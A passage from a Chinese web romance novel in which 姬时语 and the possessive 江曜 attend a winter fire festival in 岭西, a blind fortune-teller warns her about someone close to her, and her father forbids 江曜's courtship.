“阿锁,我还没在这儿亲你呢。”
江曜说的呵笑。
姬时语瞪眼了:“你敢!”
江曜一双狐狸眼阴郁挑起,他薄唇微勾,不置可否。
他还真敢。
只是吻下去,小姑娘怕要恼得和他置气,往后再不搭理他的。
江曜不语,装了乖巧,又牵着姬时语柔软小手,自顾自把玩起来。
他一作乖顺状,姬时语便心软,拿他无一点法子。
“你们两个,做个待在这儿不走了?”
这时薛淮璋撑着马车艰难爬下了车,神色恹恹。
行程颠簸,尚书府的公子哪里受得住这等苦,半路便苦不堪言,几番做呕。
姬合英还照料他,特意命车队放慢路程。
薛淮璋见姬时语和江曜直愣愣站在跟前,疑惑不解,他肚里翻涌,也不等两人回话,踉踉跄跄便往树林里跑。
姬时语拧眉,“姐夫他无事吧?”
江曜再度将她攥紧,他偏要问清楚:“阿锁,为何没派人禀报我?”
“是姐姐要我跟着,四处走走,我从未去过岭西,姐夫调任,得此机会,我自然愿意。”
姬时语扁嘴,她那张娇俏小脸写满了不虞,是对江曜的,“再说了,我和姐姐还有姐夫去岭西,又怎么了?”
“我才离开侯府几日,你已不拿我当身边人看了。”
江曜垂眸,看不清他的神色,可是他嗓音低落,应是在自嘲,“阿锁总是待我这般无情。”
“我又是哪里无情了?”
姬时语的手几番推搪江曜,良久也未推动,便是这股不讲道理的劲儿,惹得她不快的很。
犟脾气一上来,她也不饶人。
“你便说说,你在我身边安插的人手,我去哪你会不知情?”
姬时语小脸浮起冷光,“上回秋猎我遇到的那个哑巴少年,是不是你的人?”
江曜没作回答,他狐狸眼沉了沉,转而抬起手别在了姬时语肩上的斗篷。
手指划过兔毛,没触碰她脸,姬时语却下意识缩了缩脑袋。
而后江曜抚着她斗篷的扣带,朝里一盘,又系紧了几分。
江曜说:“怕冷还不穿好。”
他避而不答,不知藏了多少鬼。
姬时语气恼的厉害,她拍开江曜的手,兀自哼了哼,以发不满之意。
江曜不给她解释,她便也不想和江曜说话。
很快,车队的另一头,姬雄武浑厚的声音高喊了过来:“阿锁,过来用饭。”
“爹爹,来啦!”
姬时语甩了江曜的手,笑着捉住斗篷便往姬雄武那面奔去。
江曜直直跟着她的背影而望,烈日当头,他竟对上了姬雄武一双如鹰隼般锐利的双目。
……
薛家车队在半路休整了半个时辰,姬合英生火烤了几条鱼,喂给姬时语两只。
小姑娘胃口小,只吃了一只便摆手说着不要了。
他们不知道打哪儿弄来了叫花鸡,堆在土坑里烧熟,敲开土皮,肉嫩油香,香气四溢。
姬时语被分了一只鸡腿,她捧着小口吃了。
姬合英笑着问:“如何?”
“好吃!”
姬时语小鸡啄米似得直点头。
这顿午膳众人纷纷吃了个半饱,唯有薛淮璋在树林溪水边坐了许久,是一口未进食。
姬时语便问姬合英:“姐姐,真不必管姐夫?他像是很不适。”
“哎呀,随他去,他身子太弱受不住颠簸。后头还要走半日路途,能忍则忍,不能忍只能难受着,还是不吃为妙。”
姬合英看得开,头回远行的人皆会难耐,薛淮璋还算好的。
用罢午膳,一行人再度启程,他们算着时辰,大抵再走半日便可抵达岭西。
姬时语窝回车厢里,后半程路途,她闲得发慌,再度撩了车帘。
可是这回,竟没在外头瞧见江曜的身影。
一问萍亭,没成想是她父亲姬雄武有要事,将江曜唤去了车队前列领路。
听后,姬时语舒畅地笑了两声。
待到戌时一刻,山衔落日,薛家车队终入了岭西的上岱城。
薛淮璋调任府同知,依着圣旨赐封府邸,同知府便在这座上岱城之中。
姬时语坐的身子骨快要散架了,好不容易下了地,车外冻得她手脚冰冷,频频哈出冷气。
已是一月下旬,可岭西的天却要比京城一年之中最寒冷的十二月还要冻人。
姬时语畏寒,才在府外站了一会儿便瑟瑟发抖。
姬合英见状,忙让人先去取烧好的手炉,下人匆匆折回,她将暖炉塞进姬时语手中。
“阿锁,岭西比不得京城,要冷得多,快别被冻病了。”
“为何这样冷?”
“地处太西边了,又多是高山寒地。”
暖意卷上她身,她嘶得颤抖,姬时语双手捧住手炉,像终于活了过来。
此行不光姬时语受冻,还有个薛淮璋,他人是苦哈哈地爬下马车,这一路颠簸消瘦了许多,路都站不稳。
姬合英让下人们先搀扶薛淮璋入府,她来收拾行李,马车还需卸货,她得照看着。
可还未安顿姬时语,姬合英遂问她:“阿锁是要回府歇着,还是上街游玩一趟?”
“啊?”
姬时语疑窦万千,“这么冷的天,街上还有人支摊吗?”
“何止呢,我们可赶上了岭西的好日子,今日是赶火日,为新的一年祈福,消灾求福。这时候天也暗了,街上该是要来乐声的。”
姬合英的话音刚落,一道如凤鸣的唢呐声已跃过几条小巷,飞至两人头顶檐角悬挂的纸皮灯笼。
火红烛火微晃,声动火动,铜锣与鼓点同奏,男男女女歌声轻扬,宛如仙音。
寂静的夜,登时热闹起来了。
“姐姐,我想上街去。”
姬时语顿时来了兴致,一把挽住姬合英手臂娇笑,“赶火是这样子的?我要去,我要去,你陪我去嘛!”
“阿锁,我让人去唤江曜,他陪你去好了。”
姬合英笑的意味深长,她知道江曜在身边,妹妹会多欢喜。
于是她拍拍姬时语的手,故作道:“府上事多,我脱不开身,江曜护行,我和父亲都可放心。”
容不得姬时语推拒,姬合英已吩咐下人去寻江曜。
可是姬时语还未消气呢,江曜冷脾气,遇到不愿出口的事,她如何盘问,他都是闭口不谈。
不多时,一袭墨袍的江曜走来府门口。
“阿锁。”
江曜朝姬时语递过来手,有心想和她牵着手去游街时。
小姑娘硬脾气的哼了两下,直直越过他,自顾自地朝前走去,压根没拿一道正眼看他。
走了好一会儿,姬时语抱着手炉,怎么也没听到身后有脚步声跟随。
她回了身,却见江曜还留在原地。
呆滞着,他的手未收回,眼神阴沉,不知在想什么。
“你这人怎么回事?”
姬时语扬声嗔斥道:“不是说好了陪我游街吗?我走了你怎么还不走呢,哼,莫非还要我亲自去请你不成?”
是因着江曜难以捉摸的脾性吗?
姬时语感觉自己越来越看不透江曜了。
真是气死人了。
哄他也不是,骂他也不是。
她怎么就被这么一个心眼多、又捉摸不透的人给缠住了。
还喜欢上了他。
姬时语绷着脸扭头,不多时,身后有脚步渐渐跟近。
江曜几个大步之下,又来到了她身边,他执着地去摸姬时语的手,姬时语不悦地摆动开,笑哼哼说:“不要,我还要捧着手炉呀!”
“你捧着,我不碍着你。”
江曜低低沉沉凑过来,牵住她手心,一根一根掰开,将自己的手指穿进去。
姬时语好气啊。
被他牵住手,她只得单手捧手炉。
这哪里是不碍着了?
根本就是霸权,得寸进尺,太过分了!
她心软一分,他能亲近一寸,恨不得扒开个缝儿也要钻进去。
“阿锁,我的手也很暖。”
江曜的狐狸眼倪来,神色一柔。
姬时语的唇角牵起,她心生起欢喜便随着他去了。
第100章
灯火花树,目中宛若星河,上岱城夜里时分,街道却张灯结彩,车水马龙。
主街有一条队形高举圆盘火灯,旋转之时带起数片花火。
“这就是赶火吗?头上点着火星,也不怕将自己发丝烧着。”
“多年数次的练,为的便是今日,点着乃是大错,那些人岂会这般容易出错?”
江曜回了她,姬时语歪了下脑袋,兔毛擦过她的下巴,微微痒,她“咦”地感叹起来。
“哥哥,你先前可是来过上岱城?都说这里离着大陇很近,那时候逢年过节,也是在这儿过的赶火日吗?”
“我不记得了。”
江曜说的太平淡了,以至于姬时语心生了不悦。
“怎么能不记得了,你可是在岭西度过了五年,这五年之中做了何事,你都不愿意同我一说吗?”
姬时语的眼瞳映出灯火,亮的惊人,江曜望回来,一双狐狸眼平静似水。
“不是不愿说,而是没上心过。”
江曜垂眼,顿生了阴沉之色,说着一句再寻常不过的话。
“阿锁,你不在身边,不是多好的日子,我记不住心里去。”
一时之急,姬时语喉里梗塞,她几乎说不出更多的话。
“赶火日便是赶火日,正如新年只是新年,与我和昨日、今日、明日,并无差别。”
江曜静静凝望于她,说道:“阿锁,你能明白吗?”
他将自己一颗孤寂的心,明明白白摆在了姬时语跟前。
她如何不明白,又怎会不动容?
姬时语好想在这一刻,扑入他的怀中,紧紧圈住他的脖子,抱他蹭蹭,再撒一通娇。
然而,一道婉丽清扬的歌声随着鼓声传来,旋即止了姬时语将朝江曜迈去的步子。
那头的姑娘她唱着:“归来的儿郎呐,此欢可愿同享?”
“是央金姑娘!央金姑娘的赶火舞来了!”
“快点儿,莫误了时候,可被挤到后头看不见了。”
“走走走!”
欢笑而至,人群纷涌,街道之上火灯愈发的聚拢,火势越烧越旺了。
姬时语睨去眼。
不远处,一圈圈火把坐落,围成一道圆,火圈中央,有个满身琳琅的女子正旋舞跳动。
赤金的火苗在她大开的衣裙之下星星燃着,她的脚尖好似踩在火尖。
曲调突而变了味儿,是姬时语听不懂的话,却仍旧好听。
她拽了江曜的手,问他:“岭西还有自己的岭西话?”
“不是。”
江曜回:“她唱的是大陇语。”
“啊?她是大陇人?”
“是。”
江曜颔首。
“大陇人为何能入岭西?城中百姓竟也无怨言,我方才听他们呐喊,像是很拥戴这位央金姑娘。”
姬时语探头探脑,又朝火势的中央瞥去。
央金双臂举起如蛇舞动,火光照样下,一身小麦色的肌肤亮丽,眼尾带勾,歌声清亮。
与京中贵女不同,央金生得一副大陇女子的外放。
姬时语大为吃惊,她早听闻大陇与岭西交战多年,忠义侯府便是镇守岭西,以挡大陇铁骑踏破边关城池。
可如今,战事已平,两国握手言和,大陇之人竟也能随意出入岭西,与岭西人同庆贺赶火日。
“祸不及平民百姓,边关人心淳朴。而且,战事早已结束,这是众所周知之事。”
江曜说着话,姬时语听得也认真,她俏生生地扬起笑来,转而改握住他的手。
“大家伙都去那头瞧看,我们也跟过去看看啦!”
央金的舞已跳完,她立于火圈中央,昂首高歌。
在她额前,吊着一串五彩珠串,流光四溢。
姬时语好奇心颇起,不经意牵住江曜便往主街的河道挤了过去。
四处乐声不断,鼓点还未止,和着拍子,她脚下跟着舞动,又抓起江曜的手腕,举过头顶。
小姑娘娇俏灵动,笑意轻盈。
“哥哥,你来陪我嘛。”
“你还会跳舞?”
江曜兴味地挑眉。
“自然是不会的,但……你陪着我,那我便就会啦!”
姬时语随心扭动,她身上裹着兔毛绣海棠花披风,微扬起时,海棠好似开了花。
她皓腕伸来,细长白玉的脖颈也跟着拉长了。
见她乐于玩闹,江曜便也只好捉着她的手腕挑高起来,与乐声一道,引着她轻迈步子。
乌发间,姬时语头顶的珍珠流苏与环佩
作响,江曜没来由的叹息。
“阿锁出门,没带上铃铛。”
“做什么偏要铃铛了?我这流苏金钗不好看吗?”
姬时语推了江曜一把,身子朝后一跃,她远离了他两步。
火光星河在后,姬时语雪白娇颜,舞了好半晌,她捧着手炉,气息微喘。
朱红的纯明艳娇嫩,微微张开时,她又抿了两下。
姬时语还在笑,明眸皓齿,眉眼弯弯,“我不戴铃铛那也是漂亮姑娘!”
确实是小娇娘。
江曜是真的口渴了。
上前一步,他便揽住了姬时语的腰肢,又强横地将人抱进了怀中。
姬时语大呼:“我还有个手炉,会烫着你……”
可是江曜才顾不上那么多,即便姬时语双手挡在他胸前,他还是再忍耐不了地低下了头。
朝她的唇上覆了下去。
“好!”
身后突然响起热闹的喧哗,原来是央金歌止了,人群欢呼起来,拍掌叫好。
霎时,姬时语被惊醒,反应飞快抬起了手,捂在了自己的唇瓣。
江曜的吻落在了她的手背。
没亲到她的唇,江曜不满唤她:“阿锁,拿开手。”
“才不要呢。”
姬时语眼里含杂了不虞,作势又是推搡他,不准他在外头胡作非为。
虽是身处于岭西的上岱城,人生地不熟,无人认得她为忠义侯府的五小姐。
可是人多眼杂,都看着呢。
姬时语脸皮博,怎么都不愿意。
她娇嗔瞪他,“你坏,不准你亲我。”
说罢,姬时语拿手推脱他的脸,来回捧着揉搓,便是不让江曜凑近过来,再触碰自己。
少年脸面冰凉,而姬时语的手烤过手炉,还暖和和的。
她不给他亲,江曜总有法子能给自己找回来。
握住她作乱的手,江曜啄上她的手背。
轻轻一个吮咬,红痕便留在了小姑娘柔嫩粉白的手上,赫然显眼。
姬时语又是一个瞪眼。
殊不知此刻她的眼波如丝,映在无数火花之前,明媚的如同一束璀璨冬花,勾得江曜想亲到她闭眼。
“不要这么看我,不然我要在这儿亲你的。”
“说什么都是你有理了,真讨厌!”
姬时语哼得拍他,江曜拿亲她做威胁,她脸皮薄,是比不得他厚脸皮,只能乖乖认栽。
瞥开头,姬时语再不和他对视。
……
赶火日,顾名思义。
上岱城今夜难眠,火光冲天,四散而行的人群几近人手一只火束。
姬时语看得十足新奇,在岭西这样的寒冷冬日,人人举着火,好似冬日也不再彻骨的冻人。
行走不过片刻,姬时语感觉身上也被主街烘暖和了。
姬时语边走边听江曜说央金的火裙舞,是赶火日的重头之戏。
央金一舞了毕,也意味着这赶火去病痛,为新年祈福消灾,就此结束。
“所以,赶火日年年都少不得央金姑娘啊?”姬时语了悟。
“可以这么说,城中爱戴她亦是如此。”
“能将全年重要之日交给大陇人,看来她的舞是旁人真比不了的呢。”
“小姑娘,这你就不懂了吧?”
姬时语还在感慨,身侧有道声音叫住了她。
她一睇眼,竟是一位眼盲抓瞎的老者。
老人抚着胡须说道:“央金命里便是要从大陇来到岭西,她其名央金,是为仙音天女,天命乃归上岱城之仙乐韶舞,她造化了上岱城,上岱城便也未亏待她。”
“原来是这样啊。”姬时语点头。
“不过这位小姑娘,你并非岭西中人吧?”
老人没让姬时语走,而是说了句莫名之话。
姬时语仔细端瞧,老人眼窝凹陷,一双瞳孔涣散无神,是真的瞎了,可却循声朝她这面望来。
“老先生,你如何得知的?”
“口音,方才我听你说话,你说着,尾音朝上调了调,该是京城中人来到了岭西。”
这老人支了个破烂摊子,桌上只有三五铜板,他拄着破旧木棍,默默低念道:“不过有些怪了,你这命途我竟看不透,看似双生,实则只有一人,真乃怪哉怪哉……”
旁人听不懂,姬时语却十分清楚。
前世今生,她是活了两辈子的人,眼前的老人短短一刹,便将她的天机看破。
姬时语心头猛跳,径直追问:“老先生,你还看见了什么?”
“你信我?”
老人笑了笑,好似在自嘲。
姬时语没作他言,她摸出荷包,取来一两银子递到了老人手里。
“要不了,要不了。”
老人却直摆手摇头,“我只收五个铜板,多的不要咯,给多了我可不算,姑娘去寻别家吧。”
见老人如此固执,姬时语只得换了五个铜板,重新给他。
这回老人收了。
他摸着铜板,苍老佝偻的手不住摩挲,铜板翻了又翻,念叨声顿了近好一会儿。
“六爻纯阴,阴转纯阳,卦象六冲,动荡不安,不过最终归于六合,诸事可回归顺遂。”
姬时语听不懂,便问:“老先生,此卦怎解?”
“我看到姑娘你深陷困境之中,这泥潭不浅,短时日内你恐怕难以逃脱,内心太多杂乱之事,你看不清自己的心。”
老人直直看过来,沉了声道:“这话不是说你所行便错了,小姑娘坚信其路,倒也无错。但我得提点你一句,定要当心你的熟知,你以为的亲近之人,许并非你所想,有时候,亲近之人伤你,可比外人捅刀来的怖人。”
“老先生,你说的这人?”
“我怎会知道?凡事还得你自个儿去解,卦只得看一层,看不穿万事。”
老人不忘叮嘱她:“我算得的卦象来看,你命里还有一劫,日后才可顺遂。而这一劫,就来自于这个人,小姑娘,你要当心了。”
姬时语听得后背起了冷寒,她捧着手炉却仍感寒冷。
老先生一番话,引得她不敢侧头,只因江曜便站在不远处等她。
而这些话中之话,她第一时便想到了他。
老先生要她当心江曜,是说江曜会是她命里的劫。
可是,他陪了她好些年啊。
姬时语脚面挪动,后知后觉走回江曜身边。
小姑娘哈出一口凉气,吹散的白雾缭绕于她水灵灵的眼眸。
江曜平静的目光扫来,眉宇未染风雪的出尘。
姬时语心下一动,上前踮起脚勾住了他的脖子,任由身子依偎进他的胸膛。
“怎么了?”
“想抱你了。”
姬时语没心没肺的笑起来。
她想抱时,便执意要抱他,不愿意时,百般能寻个由头,也不应他。
因而江曜的手刚抬起,抚上她纤细的腰肢,姬时语已是回转手腕,摁住了他手。
她说:“不行。”
江曜挑眼看她。
姬时语眼瞳一转,笑得盎然:“由着你,又要胡来。”
江曜便真的不动了。
可是怀中的小姑娘伏在他胸膛,贴脸磨蹭,她抓着他衣袖不时哼两声,直叫江曜难忍。
他艰难咽了口水,嗓音哑了:“阿锁……”
“嗯?”
姬时语鼻息间是江曜干净的气味,令人安心,又是不舍,她便想再多抱他一会儿。
她在他怀里抬眼,一触及江曜黑黑沉沉的墨瞳,心头便是一个咯噔。
这种感觉。
他想亲她了。
姬时语立马惊觉,跳出了江曜的怀抱。
江曜狐狸眼瞥来,清清淡淡的问她:“方才说了何话?谈了许久。”
“闲聊几句罢了,没事。”
姬时语笑着应他,心想该是她多心了,反手便将手腕递至他的手边。
她笑盈盈地攀住他的护腕,亲昵地撒娇:“哥哥,有些冷了,想回去。”
“很冷吗?”
江曜抬手捉住了她的素手,他用唇碰碰她的指尖,揉搓几下之后,揽入自己的掌心。
十分令人诧异的是,江曜的手本也该是凉的,可他的手掌心,贴着姬时语的那一面,却莫名的能捂热她。
温热源源不断朝姬时语涌来。
好似不那么冷了。【你现在阅读的是 】
100-110
第101章
赶火日姬时语有些败兴而归。
也不是全无欣喜,起初赶火还是尽兴的,只是后来老先生算了一卦,说了好些日后卦象。
姬时语嘴上笑说自己没真上心,但说到底还是起了几分波澜。
姬合英与薛淮璋搬入上岱城的同知府,两人费心整好宅院,为姬时语清点出住处,因此当她甫一归府,便有下人领着她回屋歇息。
萍亭与萍柳从库房那搬了炭火来,姬合英心知姬时语畏寒,特意吩咐给她炭火足。
烧了火,姬时语去梳洗一番,复而窝回床榻里歇下了。
她阖起眼,老先生的话不时自脑中翻滚而出。
他叮嘱她要提防身边亲近之人,说她离得太近,一叶障目了,看不清人的。
便也不知那人的心思究竟为何。
可是姬时语又想了,江曜为她的哥哥,平日素来待她极好,她并未觉得江曜坏过。
江曜是有几分霸道的,偶时会不顾她意愿,强行吻她。
但也仅此而已。
姬时语想起老先生还说,她无需多做,遵循本心便是。
本心啊。
姬时语叹了口气,她需得寻个时候,跟江曜好好谈上一谈。
看可能改了他的臭脾性,出门在外太亲密岂不是白白惹人闲话?
他是脸皮厚无所畏惧,可她脸皮薄啊。
外头人见了,还不知晓怎么非议她呢。
江曜太坏了。
再怎么胡来,他也该先同她爹娘交代清楚,让爹娘允两人定亲再议。
没名没份的,不就是占她便宜呢?
就是占她便宜!
娘也说过了,这次从岭西归京,便要为她定下亲事。
姬时语心中确切,她也不愿再拖下去了。
三皇子党那一日算计于她,她本以为柳眉不敢明目张胆的宫宴使坏,结果她竟是算了个大的,是想拉弘文帝下水。
皇帝跟前,忠义侯府确实不算什么。
可也足以令姬时语心生恶心。
她的婚事得定的。
若是江曜和爹娘提亲,说他愿意娶她,爹娘能应许吗?
不过,这话说的好像是,她很迫切不已,想要嫁给江曜似的,不对,她才不是这么想呢。
姬时语羞恼地一把用被褥蒙住了脸。
止了胡思乱想,闭眼凝了困意,入睡。
……
次日一早,姬时语睡到了日出三更,昏昏睁开眼苏醒,身处岭西同知府,再不比侯府,无人清早唤她起。
姬时语难得睡了个大懒觉。
萍亭撩了布帘入室,又端来一盆烧好的炭火,将灭的换下,见小姐醒来,她起身笑道:“小姐可是饿了?大小姐命人备好了早膳,奴婢去给你端来。”
“好。”
萍柳便来伺候姬时语更衣。
岭西位于西北,天寒地冻,吃食谷类居多,这地方临大陇,因此也从大陇之地运进不少食材。
姬时语端望桌上的一碗花生甜酪,与炭火烤焦的黑黑瓜果,用食指戳了两下黑炭。
不必多想,白嫩指尖染了黑。
姬时语问萍亭:“这是什么瓜?怎还要烤着吃?”
“小姐,是大陇传来的食物,叫番薯,您尝尝。”
萍柳笑着扒开烤番薯焦黑的外皮,里头红灿灿的,香味甜腻,是在京中未见过的滋味。
香气卷入姬时语鼻腔,她忍不住用勺子舀了一口。
番薯果肉甜而不腻,软软糯糯,舌尖绵密,姬时语嗜甜,才吃了一口,便极喜爱这个味道。
“好好吃啊!”
姬时语再喝一口花生甜酪,清甜软糯,喝下肚,一日都觉着清爽极了。
一口甜酪一口烤番薯,不一会儿姬时语便全吃了干净。
便听屋外萍亭又来传报,“小姐,侯爷派人来喊你过去。”
“好,我这就来。”
萍柳端来水,姬时语漱罢口,又擦拭去嘴唇,旋即披上一袭披风起身,萍柳不忘给她递来手炉取暖。
今日姬雄武寻姬时语不为别事,是为了于策安。
来岭西之前,姬时语受杜南霜托付,便拜托父亲探查于策安的下落。
那时姬雄武仍感吃惊,于家的小儿子跑来岭**自参了军,他这个执掌兵权的大将军竟是毫不知情?
命人一查,才知道于策安根本没以镇国将军府于家名义从军。
他隐去军户出身,同等平民百姓,十三岁从小旗做起,直至今日。
六年了,于策安独自在岭西爬到了百户所总旗的位子。
于家与忠义侯府积怨已久,六年前于家大小姐于之念蓄意谋害姬雄武的小女儿姬时语,姬雄武满心痛彻心扉,对于家太过失望。
待回到岭西,姬雄武便冷落了于威之父于勇。
他不得公报私仇,但也不会重用于家。
然而于策安,于勇的小儿子,却是个光明磊落的男人。
于策安不要于家祖荫庇佑,甘愿默默参军,只为了成为一名将领。
姬雄武深感震撼,他喊来于策安问话,问:“你可愿意调任入本侯的军帐?”
“多谢侯爷爱戴,策安很满意如今。”
于策安竟否了。
姬雄武拧眉,他还想劝,却在这时听得侍从禀报,说是五小姐姬时语来了。
于策安浑身一震,满脸惊骇惶恐。
阿锁怎么来了岭西?
六年前分别之后,他便无颜再见姬时语,总觉着于家犯下的罪孽,此生他都该全心偿还。
于家差点毁了姬时语的清白,害死了她,于策安一面恨急了亲姐的残忍,一面又不得真正断了全身的血脉。
不管怎样,他都是于家的人。
因此他落荒而逃,离开京城独自来了岭西。
在这里,他可以不必再做于家人。
忠义侯府世代镇守岭西,他知晓姬时语心系父亲和姐姐。
岭西的安危便是忠义侯府的安危。
于策安愿意留在岭西,暗地助侯府一臂之力。
可他没想让忠义侯察觉,更不愿叫姬时语亲眼所见。
于是,于策安心头百转,当即便想拔腿要跑。
“于策安。”
姬雄武大笑出声:“临阵出逃,可不是个好兵啊!”
姬时语已然进了屋,听得有人喊自己:“五小姐。”
六年不见,于策安再见姬时语时,还是如同当年十三岁的那个孩子,畏畏缩缩躲闪了目光。
于策安身体僵硬,他一身甲胄未褪,留在岭西多年,铸成一身的刚毅周正。
姬时语百感交集,喊他:“于……小二。”
熟悉的呼喊,于策安瞬间抬起发亮的眼,圆滚窃喜。
他知道,姬时语不怪他了。
……
送走姬时语和于策安,姬雄武仍留在书房等候。
窗棂未开,半拉暗影落在忠义侯威严肃穆的脸颊,他没了笑容。
不多时,江曜踏入书房,回身带上了屋门。
室内顿时如死寂一般,空气凝滞。
姬雄武虎目一转,迫人气势一开,瞥眼江曜,他说道:“你可知我今日独自喊你来,为何?”
“不知。”
江曜垂首,感知
姬雄武气势逼人,他微觉得事态不妙。
自打姬时语之父,忠义侯姬雄武收他为徒以来,他虽未时常夸奖,但多是以沉静的目光注视着他上战场。
浴血奋战归来之后,姬雄武会拍拍他肩膀,夸他一句英勇。
两人之间,还从未有过如此严肃的时候。
姬雄武这般,除非是为了他的小女儿,姬时语。
“江曜。”
姬雄武喊了江曜的名字,江曜一颤,只听身前高大魁梧的男人冷硬开了口。
“你是不可多得的将士,是战场之上无比英勇的猛将,年纪轻轻便坐上五军都督府的都督佥事,京中一众儿郎,还无人能得你此等功绩。”
江曜心头生起突兀之感。
“我很欣赏你,是作为岭西的领军将领。而作为你的师父,你是白斩霍的侄子,我更期盼日后你能接任他当年的职,统帅五军都督府。不过……”
果然姬雄武话锋一转,“不过身为一介父亲,我的小女儿姬时语,我希望你不要对她动任何,越过兄妹之外的情意。”
江曜瞬间抬眸,一双狐狸眼黑黝黝的惊人。
“我知道你身为阿锁兄长,疼爱她,呵护她,只是如今你们也大了,难保男女之间走得太近,生出不必要的感情,这种情愫还是早断早好。”
这是一个警告,也是来自忠义侯的阻挠,姬雄武还说。
“我为何要说这话?来时路上我便察觉,你和阿锁走的太过亲密了。阿锁除你之外,还不曾和外男接触过,她也到了议亲嫁人的年龄,你们之间是该避避嫌的。”
此言一出,江曜的狐狸眼已是一片阴沉,不能以墨色来言语,只是无端的骇人。
江曜顿时便要开口。
可却被姬雄武抬手打断了。
“若是你提出有意迎娶阿锁为妻,我作为父亲不会应准这门婚事的,你想也别想。”
“侯爷,我……”
“云让,不是我看不起你,而是你给不了阿锁一个安稳、平静喜乐的日子。”
原来姬雄武早已看穿江曜的心思,他止住江曜要急切想要辩解之言。
以及他的求娶之意。
“云让,你已回了楚王府,便深知楚王妃视你为眼中钉。而你母亲的身世纠葛,陛下恐会因此为难,断绝你官路晋升。你已身陷囹圄,自顾不暇,又能拿什么来迎娶阿锁,让她从此不必忧心烦恼?”
姬雄武的话可太直接残忍了,如几把锋利冷刀,一片一片将江曜血肉剐下,捣得稀巴烂。
“我身为父亲,我只盼着我女儿能婚后无忧无虑。所以,现在为时还不晚,止了你的心思,你回楚王府,做阿锁的兄长。往后阿锁的婚嫁,我允你以兄长之名送她出嫁。”
“我只是阿锁的兄长吗,呵……”
江曜全身麻木,连血也从头到脚一并冰冷,没了知觉。
忠义侯说。
他父亲残废,楚王府盘根错杂,他需和楚王妃与江子墨争斗,必然两虎相争受伤。
而他母亲出身白家,白家早被定为罪臣,已惹弘文帝烦心。
他这等的出身,给不了姬时语安心的日子,忠义侯府绝不允姬时语嫁他为妻。
便因着这该死的出身,让他从此断了想娶阿锁心?
要他以兄长身份,送姬时语嫁给另一个男人?
哈。
怎么可能?
从被姬时语捡回府的那一刻,江曜此生便认定了她。
若是不能得到姬时语,他真情愿不如那年就死在乡野,不要活了。
他不杀那意图迎娶阿锁的人便已是大发善心,怎么还能容忍送她出嫁,笑着祝贺她觅得良人?
不,姬时语只能是他的。
是他的身份太低了?
现在不够,那他就爬到更高。
直到能拥有她。
为此,江曜不惜扫荡面前的所有。
和姬时语天作之合的,这世上唯有他一人。
忠义侯不准许,他也娶定了。
江曜的眸子,涌起狂潮般的癫狂。
……
离府的两人,姬时语与于策安一时无话。
从姬雄武书房走出,姬时语便跟在于策安身边,六年不见,于策安已是身形高大,脸庞硬朗。
侧首而望时,姬时语见他眉宇愠着锋利,只觉得当年那个额系红绳的小少年,是真大变了模样。
“你怎么来岭西了?”
姬时语疑惑不解,当年于策安和她告别,只字未提要去何方。
若非他同杜南霜去了信,谁人也不知他在哪里。
于策安低声沉沉:“只是这么想过,便过来看看。”
“于小二,你人在岭西怎也不同我父亲说一声?以我们两家的关系,何至于让你去当最底下的小旗?”
于策安站定住了,他止了步子,姬时语便也不再前行。
两人静静对望,于策安终于直面了这六年以来的过往,他抬首,凝望于姬时语玉白的脸。
忠义侯府的五小姐已是长大及笄了。
少女面颊粉白,眉眼如画,娇俏婉丽,她身处岭西寒风之中,却好似一株将绽的红梅花苞儿。
如斯明艳。
于策安的眼微微感到了涩意,他不敢再多看她,复而垂了头。
犹豫再三,他还是喊出心底恳切的那个名字。
“姬小五。”
姬时语笑着应了他:“喊我作甚?”
“你也看不起我吗?觉着我需得靠于家祖荫才可建功立业,得一番功绩?”
“我并非这个意思,想什么呢?”
姬时语纳闷了,给了于策安一个脑瓜蹦儿,“嘿,我觉着你可真让人不懂了,自个儿跑岭西来,还怪上我了?”
于策安“嗷”地抱了头,因着姬时语的动作,他瞬间放下心来。
“我没有……”
“那你偏要说我看不起,诸如此类的话?”
“好吧,怪我多嘴了。”
于策安可不敢随意胡诌了,毕竟,忠义侯府的五小姐可是会气恼的。
姬时语哼了下,又说:“你不知道南霜多牵挂你,我这回过来,便是她特意叮嘱我要寻见你,顾及你的安危。”
“她还好吗?”
于策安微微垂头。
“好与不好,哪日你回一趟京城,亲自瞧瞧便知了。”
姬时语拢了拢肩上的海棠花锦缎披风。
两人将将踏出同知府大门,察觉府外风大,她又裹上兜帽,抓了帽沿的兔毛。
“我不回去。”
“你怎就这般倔呢?闹得像是两人还有别扭似的,还是说你们两人背着我,藏了不可告人的辛秘?”
姬时语忽地侧过头来,于策安见她娇小的下巴探出毛茸茸的帽沿,显得莹白。
虽说娇软容貌,却有一股坚韧气势,让人无法辩驳。
“没,没啊。”
于策安心虚咽口水,又打着哈哈挠头,“我能有何辛秘啊?呆在岭西六年跟个磐石似的,窝也没挪过呢!”
姬时语“咦”地沉吟许久。
于策安赶忙岔开话道:“姬小五,你才来岭西可是?走,我领你去尝好吃的。”
“好呀!”
这话姬时语爱听,闻言便喜上眉梢。
而于策安口里所说的美食,竟在上岱城的主街东面,是一家名为胡兰乐坊的杂耍戏铺。
店面干净,正堂偌大,桌面几许,客人点罢菜肴之后,留待候着。
而堂中多的便是异装华赏的女子,面纱遮面,犹抱一只马头琴,轻声哼唱吹拉弹奏。
姬时语惊道:“这是酒楼?”
“是也不是,不过老板娘听闻是大陇人。”
于策安领姬时语往二楼而去。
两人来到一处厢房,屋门未闭,姬时语朝楼下眺望,只见那拉马头琴的姑娘撩了臂弯的披帛,和着乐声旋身而舞。
姑娘们多为麦色肌肤,大眼高鼻,五官深邃,与昨日赶火日跳火势舞的央金姑娘极像,原来皆为大陇中人。
岭西竟还有吃饭之地,配以歌舞作伴。
姬时语觉得很稀罕,不知不觉,她看得便久了些。
直到菜肴被摆上桌,于策安喊她动筷,姬时语才依依不舍地收回了眼。
桌上两碗羊肉汤面,再配了炝拌莲菜和一盘酱牛肉,姬时语再瞥眼,手边还有一方小碟,摞着几张饼馍。
姬时语犯了难,“这要怎么吃?”
“想如何吃,你就如何吃啊。”
坐于对面的于策安抓着饼馍,一大口啃咬,再捣了羊肉和牛肉,大快朵颐,吃得彭香,满嘴流油。
于策安吃得嘴里塞满了,说话含糊不清:“姬小五,你连用饭也要人家教你?”
“吃你的饭,闭嘴吧。”
姬时语狠狠瞪了于策安一眼,这人来了岭西脾性变了不少,说话给人这般不客气。
于策安哼哼一句,埋头啃馍。
姬时语随后也咬了一小口馍,才一咀嚼,牙帮子便生了疼。
好硬啊!
如何能啃得动?
便在这时 ,有人敲了门,女子爽朗的笑声随之而来。
